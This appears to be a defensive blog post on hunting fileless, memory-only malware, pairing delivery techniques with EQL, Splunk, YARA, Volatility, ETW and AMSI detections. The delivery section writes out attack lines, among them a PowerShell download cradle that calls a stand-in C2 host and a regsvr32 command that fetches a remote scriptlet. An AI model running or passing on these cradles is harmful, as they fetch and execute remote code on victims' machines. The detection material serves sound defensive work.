Memory-Only Malware: Hunting Threats That Never Touch Disk

7 April 2026 | 4 min read | justruss.tech

Fileless malware does not mean “no files anywhere.” It means the malicious payload never exists as a standalone file on the filesystem that can be scanned. The payload lives in memory, in registry keys, in scheduled tasks with base64-encoded commands, in WMI subscriptions, or in macros inside legitimate Office documents. The executable code itself never sits on disk as a PE file. File-based AV and even many EDR products that focus on file scanning have significant blind spots here.

Fileless delivery mechanisms

// Method 1: PowerShell download cradle (most common)
// The payload downloads and executes entirely in memory
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc [base64]
// Decodes to:
// IEX (New-Object Net.WebClient).DownloadString('https://c2.attacker.com/stage2.ps1')
// Stage 2 downloads stage 3, all in memory

// Method 2: .NET reflection loading
// Load a .NET assembly from bytes without writing to disk
[Reflection.Assembly]::Load([System.Convert]::FromBase64String("TVqQAAMAAAA..."))
// The assembly is loaded directly from memory
// No file ever written to disk
// Does not appear in module lists for file-based scanning

// Method 3: Excel/Word macro -> shellcode injection
// Document contains macro that:
// 1. Reads shellcode from document content or downloads it
// 2. Allocates RWX memory via VirtualAlloc
// 3. Copies shellcode to RWX memory
// 4. Creates thread to execute it
// Nothing on disk except the Office document which is "legitimate"

// Method 4: LOLBAS (Living off the Land Binaries and Scripts)
// Use built-in Windows tools to execute downloaded content
// Example: regsvr32 /s /u /i:https://c2.example.com/payload.sct scrobj.dll
// Executes COM scriptlet directly from URL, nothing on disk

Detection layer 1: PowerShell script block logging

// Script block logging (Event ID 4104) captures PowerShell after deobfuscation
// This is the primary detection for PowerShell-based fileless execution

// Elastic EQL: detect fileless PowerShell execution chain
sequence by host.name with maxspan=2m
 [process where process.name == "powershell.exe"
 and process.command_line : ("*-enc*", "*-EncodedCommand*", "*-nop*")]
 [network where process.name == "powershell.exe"
 and not network.destination.ip : ("10.*", "172.16.*", "192.168.*")]

// The sequence: hidden encoded PowerShell immediately makes outbound network connection
// This is a download cradle pattern regardless of what the payload is
// Splunk: detect .NET reflection loading in PowerShell
index=wineventlog source="Microsoft-Windows-PowerShell/Operational" EventCode=4104
| where match(ScriptBlockText, "(?i)(\[Reflection\.Assembly\]|Assembly::Load|Assembly::LoadWithPartialName)")
| where match(ScriptBlockText, "(?i)(FromBase64|Convert::From|ToBase64|[A-Za-z0-9+/]{100,})")
// Matches: Assembly loaded from base64 data - almost never legitimate
| table _time, host, ScriptBlockText | sort -_time

Detection layer 2: memory scanning with Yara

// Scan running processes for malicious patterns in memory
// This catches fileless malware that file-based scanning misses

// Yara rules for common fileless payloads in memory
rule Fileless_Meterpreter_Reflective {
 meta:
 description = "Detects Meterpreter reflective DLL in process memory"
 strings:
 $reflective_loader = "ReflectiveLoader" ascii
 $meterpreter_str = "meterpreter" ascii nocase
 $mz_header = { 4D 5A 90 00 }
 condition:
 $mz_header at 0 and ($reflective_loader or $meterpreter_str)
}

rule Fileless_CobaltStrike_Beacon {
 meta:
 description = "Detects CobaltStrike beacon shellcode patterns"
 strings:
 $beacon_config_xor = { FC 48 83 E4 F0 } // common CS beacon preamble
 $sleep_mask = { C7 44 24 ?? 01 00 00 00 } // sleep mask pattern
 condition:
 any of them
}

// Scan all running processes
yara -p 4 combined_memory_rules.yar $(ps -ax -o pid= | tr -s ' ')
// Volatility malfind for memory-only malware detection
vol -f memory.raw windows.malfind

// What to look for:
// 1. PAGE_EXECUTE_READWRITE regions (RWX memory = injection site or shellcode staging)
// 2. MZ headers in RWX regions with no disk-backed file
// 3. PE files in memory without corresponding loader database entries
// 4. Shellcode signatures in executable anonymous memory regions

// Automate malfind triage
vol -f memory.raw windows.malfind | python3 -c "
import sys, re

current_pid = None
mz_regions = []

for line in sys.stdin:
 pid_match = re.search(r'Pid: (\d+)', line)
 if pid_match:
 current_pid = pid_match.group(1)

 # Flag MZ headers in executable memory
 if '4d 5a 90 00' in line.lower() or 'MZ' in line:
 print(f'SUSPICIOUS: PID {current_pid} has PE header in executable memory')
 print(f' Line: {line.strip()}')
"

Detection layer 3: ETW process injection telemetry

// The Microsoft-Windows-Threat-Intelligence ETW provider captures
// VirtualAllocEx, WriteProcessMemory, NtMapViewOfSection at kernel level
// This catches fileless injection even when direct syscalls are used

// Using SilkETW to consume ETWTI events
SilkETW.exe -t kernel -kk ProcessCreate,ImageLoad,VirtualAlloc `
 -ot file -p C:\logs\etwti.json

// Parse for RWX allocations
python3 -c "
import json, sys

with open('C:\logs\etwti.json') as f:
 for line in f:
 try:
 evt = json.loads(line)
 if evt.get('EventName') == 'VirtualAlloc':
 protection = evt.get('ProtectFlags', 0)
 # PAGE_EXECUTE_READWRITE = 0x40
 if protection == 0x40:
 print('RWX ALLOC:', json.dumps(evt, indent=2))
 except:
 pass
"

Detection layer 4: amsi scan results

// AMSI scans all script content before execution
// Event ID 1101 in Microsoft-Antimalware-Scan-Interface log captures scan results

Get-WinEvent -LogName "Microsoft-Antimalware-Scan-Interface" |
 Where-Object {$_.Id -eq 1101 -and $_.Level -eq 4} | // Level 4 = Warning/Detection
 Select-Object TimeCreated, Message | Format-List

// AMSI bypasses are themselves detectable via Sysmon Event ID 25
// (ProcessTampering - module patched in memory)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
 Where-Object {$_.Id -eq 25} |
 Select-Object TimeCreated, Message | Format-List